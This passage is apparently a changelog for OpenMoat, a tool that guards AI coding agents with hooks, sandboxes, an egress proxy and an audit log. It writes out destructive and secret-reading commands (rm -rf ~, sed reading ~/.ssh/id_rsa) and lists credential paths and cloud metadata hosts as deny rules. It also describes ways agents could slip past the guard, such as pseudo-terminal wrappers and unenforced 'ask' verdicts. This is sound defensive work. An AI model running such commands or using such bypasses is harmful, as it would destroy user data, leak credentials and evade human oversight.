taint.protected_writes(#215): path globs that a write to asks once the session read untrusted content, in addition to the built-in list (CI, git hooks, build scripts, agent instructions). It extends the list and cannot shorten it;moat policy lintrejects!exclusions and globs that do not compile. Policies without the key behave as before. moat allow --lastandmoat allow --last --alwaysapprove file actions too, not only shell commands (#278). The last ask can be a file read, write or delete from a Claude Code file tool, a Codexapply_patchor a Cursor file tool. A session grant covers exactly those files for that action;--alwaysadds anfs.readorfs.writerule for exactly those paths (as asked and with symlinks resolved) and prints it with its undo command. Deny rules still win.moat(the home screen) shows and approves the newest file ask the same way.~/.moat/approvals.jsonmoves to version 2, which records the approved action; version 1 files are still read and are rewritten as version 2 on the next grant.
Changed
Section titled “Changed”- When Codex or a Cursor file tool cannot prompt, the deny message now says to run
moatormoat allow --last(Cursor’s said to add a policy rule and runmoat doctor --accept). The Continue CLI message namesmoattoo.
moatsays1 decisioninstead of1 decisions(#278).
0.1.0-alpha.2
Section titled “0.1.0-alpha.2”Released 2026-10-07. GitHub release v0.1.0-alpha.2.
moat allow --site <host>,moat allow --dir <path>andmoat allow --remove <id>(#300).--siteadds anetallow for one host name; it also covers web fetches.--diradds anfs.readandfs.writeallow for an existing directory and everything below it, stored as written and with its symlinks resolved. Both append to~/.moat/policy.d/approved.yaml, check that the merged policy lints, re-pin, and print the rule as written plus themoat allow --removecommand that undoes it. Deny rules still win. Wildcards, URLs, the home directory, its ancestors and filesystem roots are refused.--removetakes out anyapproved-Nrule,--alwaysones included, and--alwaysnow prints its undo command too. New attack fixtures show that an agent runningmoat allow --siteor--diris denied (kernel-self).moat edit(#300) opens~/.moat/policy.yamlin$VISUAL,$EDITOR,vior (Windows)notepad, on a copy inside~/.moat. An unchanged copy changes nothing. A copy that does not lint is reported and never written, and you can reopen it. Otherwise it prints the lint warnings and a unified diff, and writes and re-pins only afterApply? [y/N]is answeredy. The previous policy is kept in~/.moat/policy.yaml.bak. It needs a terminal and an intact lock, likemoat allow.moat uninstall [--hosts …] [--purge]removes OpenMoat’s hooks and sandbox settings from the agents and prints what it did per file (#282). A file unchanged sincemoat initgets its backup back byte for byte, a fileinitcreated is deleted, and a file changed since keeps those changes. The lock stops pinning the undone files;~/.moatstays unless--purge. It runs only from a terminal.moat initrecords the config directory of each agent it sets up in~/.moat/hosts.json, which the lock pins (#298).status,doctor,allow,sandbox syncanduninstalluse the recorded directories, so a customCLAUDE_CONFIG_DIR,CODEX_HOMEorCURSOR_CONFIG_DIRno longer has to be exported for every command.moat doctorreports a variable that names another directory than the record instead of following it;moat initwith the variable set moves the record.kernel-selfprotects both the recorded directory and the one the variable names. Nothing changes for agents in their default directories.moatwith no subcommand shows one health line (the agents whose hook is installed, today’s decisions with the number denied and asked) and then what needs a person (#299). Lock drift is listed andAccept these changes? [y/N]runsmoat doctor --acceptony. The newest shellaskfrom today that no grant or permanent rule covers is shown with its rule and asksAllow? [o]nce for this session / [a]lways / [n]o, which runsmoat allowfor exactly that command. Otherwise it printsNothing needs you.Without a terminal it prints the command to run and changes nothing.
Changed
Section titled “Changed”moat initasks before changing an agent (#282). At a terminal it lists the agents it found with the files it would change and asksProtect Claude Code (…)? [Y/n]for each, then names the backups andUndo anytime: moat uninstall.--hostsand the new--yesskip the questions. Without a terminal and without either flag,initsets up~/.moatbut changes no agent’s files, and says how to go on: scripts that ranmoat initneed--yes.
moat statusandmoat doctorshow an agent thatmoat initleft out (the person said no, or named other--hosts) as· not set upinstead of a missing hook and five sandbox problems. Lock drift on a Claude Code settings file no longer namestheme, which is not pinned (#287).
Security
Section titled “Security”kernel-selfdenies anymoatcommand run under a pseudo-terminal wrapper (script,unbuffer,tmux,screen, quoted forexpect, Pythonpty.spawn,osascript), so an agent cannot answer the questions of a baremoat(#299). An agent runningmoatormoat statuswithout a wrapper still getsask, and without a terminalmoatchanges nothing.kernel-selfdeniesmoat editto agents, by name, by absolute path and under every pseudo-terminal wrapper already listed formoat allow(#300).kernel-selfdenies agent runs ofmoat uninstall, including through pseudo-terminal wrappers, likemoat allow(#282).
0.1.0-alpha.1
Section titled “0.1.0-alpha.1”Released 2026-10-07. GitHub release v0.1.0-alpha.1.
- Lock drift on a JSON or TOML file names the top-level keys that changed since the pin, in
moat doctor, inmoat doctor --acceptbefore it re-pins, and inguard’skernel-integrityreasons:settings.json was modified: changed hooks; added theme(#288). The lock records a digest per top-level key for those files; a lock written earlier keeps the plain message until its next re-pin.
Changed
Section titled “Changed”moat doctorandmoat runprint one line with the number of places a sandbox is stricter or wider than the policy instead of the whole list;--verboseprints the list (#289). Problems (a weakened setting, drift) still print in full, andmoat sandbox showstill prints everything.moat showlabels its time columntime (UTC)andmoat replayaddsUTCto each session’s start time; both were already UTC but unlabelled (#290).
- The policy lock leaves the top-level
themekey out of Claude Code’ssettings.jsondigest, so Claude Code writing"theme"on first run no longer denies every call withkernel-integrity(#287). Every other key stays pinned, a file that does not parse is drift, and a lock pinned before this change keeps verifying until the next re-pin.
Security
Section titled “Security”kernel-selfcovers the state and host directories whereMOAT_HOME,CLAUDE_CONFIG_DIR,CODEX_HOMEorCURSOR_CONFIG_DIRmoved them (#286). A write to$MOAT_HOME/policy.yamlor$CLAUDE_CONFIG_DIR/settings.jsonwas asked (default) instead of denied; the lock caught the change only afterwards. Patterns naming~/.moat,~/.claude,~/.codexor~/.cursornow also match the moved directory, in the hook,moat policy check,moat runand the Standard-tier sandbox settings.
0.1.0-alpha.0
Section titled “0.1.0-alpha.0”Released 2026-10-07. GitHub release v0.1.0-alpha.0.
- Standard tier (ADR-018, #168, #169):
moat initconfigures Claude Code’s and Codex’s own sandboxes from the policy through the enforcement IR (ADR-019). Claude Code’s user settings get thesandboxblock (enabled,failIfUnavailable: true,allowUnsandboxedCommands: false,excludedCommands: [], absolute deny and allow lists,network.allowedDomainswithstrictAllowlist) andpermissions.blockReadsOutsideWorkingDirectories: true; Codex’sconfig.tomlgets a[permissions.moat]profile,default_permissions = "moat"andfeatures.network_proxy = true. Other keys and comments are kept; each file is backed up to<file>.moat-sandbox-backupfirst.moat sandbox showprints what the policy compiles to with every loss (stricter) and allowance (wider);moat sandbox syncrewrites and re-pins (a person at a terminal, refused over a drifted lock).moat doctorandmoat statuscheck both hosts and print the losses. - Policy: the additive
sandbox: { read_roots: [...] }section lists paths the host sandboxes may read although no allow rule covers them (toolchains, system and temp directories). Only OS layers use it; the hook still asks for those reads and deny rules win inside them. The default policy lists a cross-platform set; a policy without the section gets that list. - Differential suite (ADR-019, #170):
tests/differential/scenarios.yamlruns each attack, benign flow and public sandbox-escape replay against every enforcement point on the machine (the hook decision, and each host sandbox whose binary is present) and fails on a layer that disagrees with the recorded verdict. A missing host binary skips that layer visibly.scripts/ci/differential.shruns the full suite. - Differential suite: the Codex host-sandbox layer (
codex sandbox -P moat) runs every scenario, withnpm/cargoshims so the hook sees an allowednpm test/cargo buildwhile the payload inside the script is what the sandbox must stop. It confirms Codex blocks every filesystem attack (secret reads, writes outside the project, shell-rc,.githooks, settings-escape, symlink read-escape) and the documented narrower results (a.env.exampleread and.gitwrites, sogit status/git commit, are denied). It surfaced a gap (#229):codex sandboxleaves direct network open, so the generated egress allowlist is enforced only by the proxy (ADR-020); the two egress rows are marked as a known gap pointing at #229, visible in the matrix. - Differential suite: the Claude Code host-sandbox layer runs the real
claude -p --bareagainst a fake Anthropic API (tests/differential/fake_api.py) with the settingsmoat sandbox showgenerates (no hook), confirming Claude Code’s sandbox blocks every attack, direct egress to link-local metadata included. Benign project work cannot be verified headlessly (Claude Code establishes working directories interactively), so those rows are skipped with a visible notice pointing at #238. Action::McpToolcarries the paths and hosts an adapter derived from the call’s arguments (reads,writes,hosts); the engine turns them intofs.read,fs.writeandnetatoms, so an allowed MCP tool name can no longer read~/.aws/credentialsor fetch an unlisted host. Conformance fixtures acceptmcp_tool: { name, reads, writes, hosts }.- Claude Code and Cursor adapters derive those paths and hosts from MCP
tool_inputby argument name (path,paths,file_path,source,destination,url, …); write-shaped tool names (write_*,edit_*,move_*,delete_*) anddestination/targetarguments producefs.write. - Policy
secrets:(ADR-020,docs/POLICY.md§2.1): brokered secrets, each with one exacthost, aheaderand asource(file,envorkeychain). Ids, hosts, header names and sources are validated, framing headers (Host,Content-Length, …) are refused, and a secret opens no host by itself.moat policy lintwarns when no allow rule names the host, or when no deny rule keeps afileorenvsource from the agent. The optionalplain_http: trueallows injection into clear-text HTTP; it is off by default, and lint warns when it is set for a host that is not loopback. The agent’s placeholder ismoat-secret:<id>:placeholder. openmoat-proxyleak blocking for brokered secrets (ADR-020). It refuses a request whose head, or plain-HTTP body, carries a secret’s placeholder or value to a host other than that secret’s own, and records it asproxy-secret. Inside a body the check spans read boundaries, and the chunk that completes the secret is not forwarded. Values are zeroed on drop (zeroize) and never formatted, so reasons andDebugname only the id and host. The check matches exact bytes;docs/THREAT_MODEL.md§5 lists what it does not stop.openmoat-proxyinjection for brokered secrets over plain HTTP (ADR-020), only for secrets that setplain_http: true. Without it, the request is forwarded with the placeholder, and the audit row records that the secret was not injected. In a request to the secret’s host, the placeholder in the secret’s header becomes the value, and the header is added when the request has none. The rewritten head is zeroed after it is written. HTTPS is not decrypted, so it gets no injection yet.moat proxybrokers the policy’ssecrets:. It reads eachfile,envorkeychainsource at start-up (macOS/usr/bin/security, Linux/usr/bin/secret-tool; Windows keychains are not supported yet) and exits 64 when one cannot be read. It prints each secret’s placeholder for the agent and never the value.- MoatBench mini (
docs/MOATBENCH.md, #132): end-to-end scenarios intests/moatbench/<category>.yamlsent through the realmoat guardas Claude Code, Codex and Cursor payloads. Each step’s verdict is read back from the audit log and checked against the host’s answer; a scorecard lists verdicts per category, false positives and known gaps (scenarios marked with their issue). Runs in the quality gate. - Repository policy (ADR-022, #128): a project’s
<project>/.moat/policy.yamlmakes the user policy stricter for every tool call in the project. Itsdenygroups join the user’s deny rules. Itsaskgroups are tried before the user’s allow rules, so an action the user allows asks, but a user deny is never softened. Itsallowgroups are ignored unless trusted (below). Onlyversion,deny,askandalloware accepted. Repository rule ids carry the prefixrepo:. A repository policy that cannot be read or parsed, or that setsdefaults,executablesorsandbox, denies every call in the project withkernel-error; it is never ignored.moat policy checkuses it unless--policyis given. The rules apply in the hook only: host sandboxes andmoat proxyare generated from the user policy. moat trust [<repo>] [--revoke](ADR-022, #128) lets a repository policy’sallowgroups apply. It prints each allow rule it lets in, then records the SHA-256 of the file against the canonical project root in~/.moat/trust.json. That file is pinned by the lock and never kept in the repository. Trusted allow groups come after the user’s allow rules, so user deny rules still win. Any change to the file, or the same file in another checkout, applies in its tightening-only form again untilmoat trustruns again. Atrust.jsonthe lock does not pin is ignored. Likemoat allow, it needs a terminal and an intact lock (refusing to change trust …, exit 64).moat statusandmoat doctor, run inside a project, name its repository policy and digest and say whether it is trusted, not trusted or changed since it was trusted; one that does not parse is a problem (exit 64).moat runon Linux applies the Landlock rules (new dependencylandlock, the rust-landlock project’s crate, Linux only) to a thread of its own that starts the agent, so the proxy thread stays unrestricted. File access and TCP connections are hard requirements (Landlock ABI 4, Linux 6.7): an older kernel is refused rather than run with the network open. Scoping of abstract Unix sockets and signals is added where the kernel has it (Linux 6.12). Windows still refuses (exit 64).moat run [--write PATH]… -- <agent> [args](Lightweight tier, ADR-018), on macOS: starts the agent under/usr/bin/sandbox-execwith the Seatbelt profile generated for the project in the current directory. The profile also lets the agent read its own executable and, with--write, read and write the given paths (its state directory); every grant is printed as an allowance before the agent starts, and deny rules still win. Network goes only to amoat proxythatmoat runserves on a loopback port (HTTP_PROXY,HTTPS_PROXY,ALL_PROXYset,NO_PROXYremoved); the proxy refuses loopback destinations, so the sandbox’s one open port reaches no other local service. Refused over a drifted policy lock, outside a project, and on Windows (exit 64). It tells the user to turn the agent’s own sandbox off: Seatbelt does not nest. Ctrl-C belongs to the agent;moat runkeeps serving. New exit code 1: the agent exited non-zero.- Lightweight tier on Linux, first part: the Landlock rules generated from the IR for the project in the current directory (
crates/openmoat-cli/src/sandbox/landlock.rs), printed bymoat sandbox show(lightweight.landlock). Reads and executes go only below the project,sandbox.read_roots, the agent’s executable and a few devices; writes go below the project, the temp directory and--writepaths; TCP connections go only to the proxy’s port. Landlock only grants, so the report lists where it is wider than the IR: a deny rule or!exception inside a granted tree (**/.envin the project,~/.cargo/credentials.tomlin a read root, the project’s.git), and the proxy’s port on any host. UDP and Unix sockets are closed by the seccomp filter (#248, under Security). - Lightweight tier (ADR-018), first part: a Seatbelt profile generated from the IR for the project in the current directory, printed by
moat sandbox show(lightweight.seatbeltin--format json) with its losses and allowances; golden intests/fixtures/sandbox/seatbelt-default.sb. Everything is denied except the platform basics, the IR’s read and write rules,sandbox.read_rootsand the temp directory; the policy’s deny rules come last with their!exceptions, and the keychain’s services are denied whatever the policy says. - Policy compiler (ADR-019):
openmoat_core::ir::lowerderives what an operating-system layer can enforce frompolicy.yaml: read and write path rules,netandfetchhost rules, and their defaults. Rules are expanded for the session. Shell, env, MCP and executable rules are listed as decide-only, and everyasklowers to deny and is reported as a loss. Lowering never widens. A test checks the IR against the engine on every fs, net and fetch conformance fixture, and a property test checks generated policies.moat policy compile [--format json]prints the IR and its losses. The Standard and Lightweight tiers are generated from it. - Tamper-evident audit log: every event stores
prev_hashandhash, a SHA-256 over a length-prefixed canonical encoding of its stored cells andprev_hash(docs/ARCHITECTURE.md§7), so editing, deleting or reordering an event in the middle of the log breaks the chain.moat doctorverifies the whole chain and exits 64 naming the first broken event;moat show --format jsonincludes both hashes. Concurrentguardprocesses append inside oneBEGIN IMMEDIATEtransaction each, so the chain never forks, and a failed write is still a deny. Audit schema 2; events written before the upgrade are reported as not covered rather than hashed after the fact. The chain is unkeyed and does not detect deletion of the newest events or a rewrite by someone who can write the file (docs/THREAT_MODEL.md§5; #129 tracks anchoring the head hash outside the machine). moat audit export [--since …] [--host …] [--session …]writes audit events to stdout as JSON Lines, oldest first (#129). Each line is one event in formatmoat-audit-export-v1(docs/ARCHITECTURE.md§7): the stored cells exactly as the hash chain covers them, includingaction,rulesandreasonsas their stored redacted JSON, plusprev_hashandhash. Nothing is re-redacted or added, so the file holds no more than the store. Events written before the chain existed are left out.moat audit verify <file> [--anchor <hash>] [--format json]checks an export without the database (#129). Every line must match its hash, ids must rise, and consecutive ids must link. It names the first bad line and exits 64. It prints the head hash (the last event’shash), andmoat doctornow prints the database’s head too. Record a head somewhere else (a ticket, a commit). A latermoat audit verify --anchor <hash>then fails unless a verified event carries that hash, which catches truncation and rewrites up to the anchored event. Gaps in ids are reported, not failed: a filtered export has them, and so does deleting events (docs/THREAT_MODEL.md§5).moat audit report <file>… [--format json]builds a team report from exports of one or more machines (#129). Every file must verify first, otherwise the command exits 64 and names the file and line. Events present in several files are counted once. The report contains themoat reportsummary, each file’s head hash, verdicts per host, asks and denies per rule, the most frequent asked and denied actions, and false-positive candidates. A false-positive candidate is an action that asked and that a person also approved withmoat allow.moat proxy [--listen 127.0.0.1:18080], the default-deny egress proxy from ADR-020 (new crateopenmoat-proxy, onstd::netandhttparse; the reuse evaluation isdocs/notes/proxy-evaluation.md).moat runsends the agent’s traffic through it. What it does:- It serves
CONNECTtunnels and absolute-formhttp://requests on a loopback address only. - Hosts are decided like a fetch tool’s URL (
fetchandnetlists, deny first). Anaskis refused. - Loopback, link-local, cloud metadata and non-unicast destinations are refused whatever the policy says. This applies to the name and to every address the proxy itself resolves (DNS rebinding).
- A tunnel’s TLS ClientHello must carry the CONNECT host as its SNI before one byte is forwarded. Nothing is decrypted.
- Plain HTTP loses hop-by-hop and
Proxy-*headers. Ambiguous body framing and aHostthat differs from the target are refused. - Every connection decision is an audit row (host
proxy), and a connection that cannot be recorded is refused. - Limits: 16 KiB heads, 10 s to send them, 120 s idle, 256 concurrent connections.
- A refused connection is drained for at most 1 s and 1 MiB before it closes, so the client reads why (on Windows a reset would discard the answer).
- It refuses to start over a drifted policy lock.
- New
proxy_parsefuzz target. - Per-host method and path rules (TLS termination) are not included yet.
- It serves
- Release workflow (dist): a
v*tag buildsmoatfor macOS (arm64, x64), Linux (x64, arm64; glibc and static musl) and Windows (x64), with shell and PowerShell installers,sha256.sum, GitHub build attestations, a Homebrew formula incrocodile-labs/homebrew-tap(brew install crocodile-labs/tap/moat) and crates.io trusted publishing behind thereleaseenvironment. Release notes come from this file and state that decisions are not enforced by the OS (ADR-013). - Policy engine: schema v1 with
deny → allow → ask → defaultsevaluation, per-kind defaults, absolute deny, strictest-wins across atomic actions. - Shell classification: POSIX lexer (quotes, escapes, redirects,
$(…), backticks, here-documents), sub-commands, subshells,eval,sh -c, wrappers, inline interpreters, environment reads/sets, path and host extraction. - Host adapters for Claude Code and Codex
PreToolUsehooks, and for Cursor (beforeShellExecution,beforeMCPExecution,beforeReadFile,preToolUse;moat initwrites a fail-closed~/.cursor/hooks.json). - Audit log in SQLite (WAL) with credential redaction; time-window and per-session queries (
since,sessions_since,summary);moat show [id | --session | --since | --recent],moat replay(per-session timeline,--since/--session/--host) andmoat report(verdict totals, hosts, top rules, asks per active hour). Windows acceptall,today,yesterday,12h,7d,2worYYYY-MM-DD. moat statusexits 64 when the installation is unhealthy (missing policy, lock drift, broken hook, missing audit log) so scripts can test it.moat init(policy, audit log, idempotent hook installation),moat guard(fail-closed),moat policy lint|check.- Default policy v1 and 95 conformance fixtures (63 attacks, 20 benign, 12 ask).
- Host configuration directories can be overridden for tests and unusual installs:
CLAUDE_CONFIG_DIR,CODEX_HOME,CURSOR_CONFIG_DIR; state directory viaMOAT_HOME. policy.lock:moat initpins SHA-256 digests of the policy and every installed host hook file;moat guardverifies them on every call and denies everything with rulekernel-integritywhen a pinned file changed or disappeared.moat statusreports lock state; re-runningmoat initre-pins.- Claude Code
ConfigChangehook: when a settings file pinned by the lock is edited or deleted outsidemoat, the change is refused for the running session (rulekernel-integrity); unpinned settings files load and are audited. - Executable pinning:
moat initsnapshots the search path and the location of common programs in~/.moat/environment.json(pinned by the lock);moat guardresolves every shell command’s program through the snapshot and denies pinned programs that resolve elsewhere (ruleexecutables). Policyexecutables:pins are now enforced. - Approvals:
moat allow --last(ormoat allow <command> --host … --session …) grants one exact command to one host session;moat allow … --alwaysappends a permanent allow rule to~/.moat/policy.d/approved.yaml, merged into the policy at load. Both files are pinned by the lock;moat allowis terminal-only and denied to agents by the default policy. moat doctor [--accept]: verifies state directory, policy, lock, hooks, binary path and audit log;--acceptre-pins and is refused outside an interactive terminal.
Security
Section titled “Security”-
Continue CLI (#264): an
askno longer lets acncall run.cnruns OpenMoat’s Claude Code hook (it loads~/.claude/settings.json) and ignorespermissionDecision: "ask".moat guard --host claude-codenow recognisescnby theCONTINUE_PROJECT_DIRvariable it sets for hooks, or by the emptytranscript_pathit sends, and records the call as hostcontinue.cnreceives everyaskas adeny(exit 2) with the instruction to approve it withmoat allow --last, as Codex does; the audit log keeps theask. Other decisions are the same as for Claude Code.cnstill runs the call when the hook crashes or times out. The released Continue CLI (1.5.47) does not run hooks, so OpenMoat cannot check its tool calls:moat doctorandmoat statusnow warn (exit code unchanged) whencnis on the search path or its directory (~/.continue, orCONTINUE_GLOBAL_DIR) exists, and say to run it undermoat run. -
Cursor: an
askno longer lets apreToolUseorbeforeReadFilecall run (#276). Cursor’s hook docs sayaskis “accepted by the schema but not enforced” forpreToolUse, andbeforeReadFiletakes only allow or deny, so aWrite,Delete,ReadorGrepthat needed approval (a write outside the project, a read with no matching rule) ran unprompted. Those calls now get adeny(exit 2) whose reason says to add a policy allow rule and runmoat doctor --accept; the audit log still records theask.beforeShellExecutionandbeforeMCPExecutionkeepask, which Cursor prompts for, andmoat allow --laststill approves shell commands. -
Cursor
preToolUse: aGrepthat names its target withfile_pathreads that path (#138). A live cursor-agent capture showsGrepsendstool_input.file_path, notpath, soGrepof~/.aws/credentialswas read as a search of the workspace and only asked, and Cursor does not enforceaskforpreToolUse. It is now denied bysecrets-paths. Searches read every path underpath,file_path,target_file,target_directoryandtarget_directories, and any other tool that names a path under those keys is checked as reading it instead of passing asungoverned(a non-string path is an adapter error, so a deny).Shell,TaskandMCP:<tool>stay ungoverned there;beforeShellExecutionandbeforeMCPExecutiongovern the first and last. -
moat proxychecks a TLS server name (SNI) the way it checks the CONNECT host, as a DNS name or IPv4 literal (#244, found by theproxy_parsefuzz target). Ahost_nameof.used to come out as an empty name, and names with spaces, empty labels or control characters were taken as they were. The tunnel was still closed because no CONNECT host could match, but the refusal named a bogus server name. Such aClientHellois now malformed. -
moat runon Linux applies a seccomp filter (seccompiler) after the Landlock rules, on the thread that starts the agent (#248). The agent and its commands may create only IPv4 and IPv6 TCP sockets, which Landlock limits to the proxy’s port; every othersocket()fails withEPERM: Unix sockets (a script could reach the user’s D-Bus session bus and start a process outside the sandbox), UDP, raw, netlink, packet, SCTP and MPTCP.io_uring_*(which creates sockets around the filter),ptraceandprocess_vm_readv/writevfail too, so debuggers do not work inside. Names resolve only through the proxy, as on macOS: a tool that ignoresHTTP(S)_PROXYcannot resolve them.socketpair()stays allowed. Thelandlock.socketsallowance is gone frommoat runandmoat sandbox show. -
Standard tier (#229): the host sandboxes can send their commands’ traffic through
moat proxy, opt-in with the policy’s new additivesandbox.proxy_port. Without it, generation is as before (each host’s own proxy enforces the domain allowlist), except that Codex’s profile now statesallow_local_binding = false, so turning it on is drift andmoat doctornames it. With it:- Claude Code’s settings set
sandbox.network.httpProxyPortandsocksProxyPortto that port. Sandboxed commands then have no route out exceptmoat proxy, which decides by the policy, refuses local and metadata addresses, injects brokered secrets and records each connection. With the proxy stopped they have no network, and programs that speak only SOCKS5 have none. - Codex’s profile adds
allow_upstream_proxy = true. Codex’s own proxy hands what it allows tomoat proxywhen Codex starts withHTTP(S)_PROXYnaming it;config.tomlcannot set that, so it is listed as thecodex.upstreamallowance. moat proxywithout--listenuses the port.moat doctorandmoat statuswarn when nothing listens there, and name a missing or changed proxy port orallow_upstream_proxy = false.- Without the opt-in, a hand-set Claude Code proxy port is reported, because it replaces the allowlist.
Proxy routing stays opt-in until
moat initcan installmoat proxyas a user service (#272). - Claude Code’s settings set
-
Differential suite (#229): both host layers opt into
sandbox.proxy_portand run withmoat proxy, Codex withHTTP(S)_PROXYnaming it, and the Claude Code layer checks that the unlisted host reachedmoat proxy. The egress rows usecurl -f: Codex’s proxy answers a refused plain-HTTP request with a 403, which plain curl reported as success, so the metadata row looked completed although no connection was made. Both rows now pass under Codex and thegap: #229markers are removed. -
sedscripts are read as sed, not scanned as file names (#212,shell/sed/).r FILE/R FILEare file reads andw FILE/s///w FILEfile writes, sosed '1r /Users/me/.ssh/id_rsa' xis denied bysecrets-pathsandsed -n '1w /Users/me/.zshrc' xbyshell-rc(both asked before, without naming the file). sed does not expand~, sow ~/xis a write of./~/x. The script’s own words are no longer file reads (sed -n '/a/,/b/p' fused to read/a/,/b/p). A script that runs a command (e,s///e) or cannot be read,-f,-iand unknown options become ased @<text>shell action, which asks. -
destructivedenies a recursivermof the home directory or the root in every flag spelling and operand form:rm -rf ~/,rm -rf $HOME/,rm -Rf ~,rm -r -f ~,rm --recursive --force ~,rm -rf build ~,rm ~ -rfandrm -rf //asked (default) because only the exact stringsrm -rf ~,rm -fr ~,rm -rf ~/*,rm -rf $HOME,rm -rf /andrm -rf /*were listed (#210, found by MoatBench mini).rm -rf ~/tmp/buildandrm -rf node_modulesstill ask. -
destructivedenies any write to the home directory or the root itself (fs.writeof exactly~and/), whatever the program, flags or spelling of the path.rm -rf ~/,rm -rf /Users/me/,rm -rf ${HOME},rm -Rf ~,rm -r -f ~,rm --recursive --force ~,rm ~ -rf,rm -rf ~/proj/..andmv ~ /tmp/xasked (default) because only the exact stringsrm -rf ~,rm -fr ~,rm -rf ~/*,rm -rf $HOME,rm -rf /andrm -rf /*were listed (#210, found by MoatBench mini). Those shell patterns are replaced by the path rule plus onermpattern for what a path cannot show: an unexpanded/*,~/*,$HOME/*,${HOME}/*, and//. Writes below the home directory (mkdir ~/x,rm -rf ~/tmp/build) still ask. A command whose destination is the home directory itself (cp f ~/,mv f ~,touch ~,chmod 700 ~) is now denied instead of asked, because the classifier reports it as a write of that directory. Host sandbox generation: a write deny on/was lowered as a/subtree deny (every sandboxed write refused) because the directory-node check looked for entries below//; a root node is now left to the hook like other directory nodes. -
kernel-selfdeniesmoat trustto agents, by name, by absolute path and under every pseudo-terminal wrapper already listed formoat allow(script,expect,unbuffer, Pythonpty.spawn,tmux,screen,osascript).moat sandbox syncgets the same coverage. It re-pins the lock and needs a terminal likemoat allow, but an agent running it used to only ask (default).moat sandbox showis unaffected. -
moat proxyrefuses private and shared addresses:10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,100.64.0.0/10(CGNAT),198.18.0.0/15andfc00::/7, in IPv4-mapped, IPv4-compatible and NAT64 spellings too. The check covers IP literals and every resolved address, and one such address refuses the name (proxy-address, naming the range). Before, a wildcardnetorfetchallow whose name resolved into the LAN reached internal services. To open one, list the address in anetorfetchallow, exactly (10.0.0.5) or as a glob starting with a digit or containing:(192.168.1.*). A wildcard such as*never opens one. -
Standard tier, Claude Code (#203): sandboxed commands can run
git commitagain. Instead of denying every.git, the generated settings deny only what makes git run code or follow another repository (/**/.git/hooks,/**/.git/config,/**/.git/config.worktree,/**/.git/info/attributes,/**/.git/worktrees/*/{config.worktree,commondir}and the same under/**/.git/modules/**), listed as theclaude-code.git-internalsallowance (ADR-021 amendment). A script can still rewrite refs and objects; the hook still asks for file-tool writes to.git. Codex keeps.gitread-only. -
Standard tier: sandboxed commands (Claude Code
Bash,PowerShell,Monitor; every Codex command), and the scripts they start, can no longer readsecrets-paths, read outside the project and the read roots, write outside the project and the temp directory, or reach hosts outside theregistriesallowlist; the hook decided these before, the OS now enforces them. Codex’s built-inworkspace-writeletnpm testread~/.sshand~/.aws; the generated profile denies them. The policy lock pins Claude Code’ssettings.jsonas before and the part of Codex’sconfig.tomlmoat owns (codex_profiles, additive to lock version 1), so editing either iskernel-integritywhile Codex’s own keys (trusted projects) stay editable. Losses:.env.example-style templates are unreadable for sandboxed commands,.gitis read-only for them (commit outside the sandbox), and Claude Code’s file tools refuse reads outside the working directories. -
Session taint (ADR-020, #173).
moat guardreads the session’s earlier calls from the audit log and tightens the next decision with rulesession-taint. After a secret read (asecrets-pathsread the policy let run),net,fetchand MCP calls ask. After afetchor an MCP result, writes to CI workflows, git hooks,.vscode,package.json,Makefile,build.rsand agent instruction or settings files ask. Taint never loosens a decision: under Codex, which cannot ask, these calls are denied. A session history that cannot be read denies the call. Conformance fixtures acceptsession:for these chains. -
Codex: an
askno longer lets the call run. Codex’sPreToolUserejectspermissionDecision: "ask"as unsupported and then proceeds (codex-rs/hooks/src/engine/output_parser.rs). Everyask(package installs, unparseable commands, writes outside the project) therefore ran unprompted under Codex. Codex now receives such calls as adeny(exit 2) with the instruction to approve them withmoat allow --last. The audit log still records theask. Codex’sPermissionRequesthook cannot carry it instead: Codex runs that hook only after its own approval policy decides to prompt (#178).moat initdoes not install it, andguarddenies that event (exit 2). -
moat allow(session grants and--always) refuses with exit 64 when the policy lock shows drift, listing each changed file and pointing tomoat doctorandmoat doctor --accept; nothing is written. It used to write the grant or overlay and re-pin every pinned file, so approving one command silently accepted a tampered policy, overlay or hook file. With an intact lock it still writes and re-pins as before. -
Claude Code
ConfigChange: a/settings-reviewcopy (<file>.proposed-<8 hex>, which Claude Code renames over<file>only if no hook blocks) is judged as its target. When<file>is pinned, the copy is blocked (kernel-integrity) unless<file>still matches the lock and the copy’s contents equal the pinned ones. Before, the copy was unpinned and loaded, and only the next tool call’s lock check caught the changed hook file. -
Claude Code: a
Globwhosepatternis absolute or starts with~reads the pattern’s directory (everything before the last separator ahead of the first*,?,[or{), as well aspathwhen given. Claude Code searches that directory and ignorespath, soGlobof~/.ssh/id_*withpathset to the project was allowed byproject-fs; it is now denied bysecrets-paths. -
Claude Code:
SendFile(sends files to another session) reads every file infiles, through a newAction::ReadFiles { paths }checked as onefs.readper file; a payload with no files or a non-string entry is denied as an adapter error. It was outside the hook matcher and so ungoverned, which letSendFileof~/.ssh/id_rsathrough; the matcher now includes it (re-runmoat init;moat doctorreports the old matcher as stale). -
Session grants (
moat allow --last,moat allow <cmd> --session …) expire 24 hours after they are written; they used to stay valid for their session id forever.guardignores expired grants, writingapprovals.jsondrops them, andmoat statusshows the number of active grants and the age of the oldest. A grant withoutgranted_at_ms(hand-written, or from a pre-release file) counts as expired instead of failing to parse. Permanent--alwaysrules are unchanged. -
moat allowandmoat doctor --acceptkeep every hook file the lock already pins. They used to re-pin only the hook files found under their ownCLAUDE_CONFIG_DIR,CODEX_HOMEorCURSOR_CONFIG_DIR, so run from a shell where those differ from the agent’s, they dropped the agent’s hook file frompolicy.lockand later edits to it went unseen. Onlymoat initadds a hook file to the lock;moat doctorandmoat statusreport an installed hook file the lock does not pin (runmoat init) and a pinned hook file outside the current environment. -
New
cloud-metadatadeny group in the default policy, covering network to169.254.*,fe80:*,fd00:ec2::254,100.100.100.200,metadata.google.internalandmetadata.goog. These services hand out cloud credentials. Shell network to them was already denied bydefaults: net: deny. A host fetch tool would have asked underdefaults: fetch: ask(ADR-017). Anetdeny coversfetch, so now both are denied by name. -
Default policy:
secrets-pathsnow also covers~/.git-credentials,~/.npmrc,~/.pypirc,~/.cargo/credentials(.toml),~/.config/gcloud/**,~/.azure/**,~/.zsh_historyand~/.bash_history. Before this, reading them asked instead of being denied..env.example,.env.sampleand.env.templateare excluded, because they are committed templates; reading one was denied before.project-fsnow also allows reading the project root itself, so Grep and Glob with no path no longer ask. -
destructivedenies deleting a remote branch:git push origin :main,git push origin --delete main,git push -d origin mainanddbundled with other short options (-vd). Previously these asked (push). -
git global options no longer hide the subcommand:
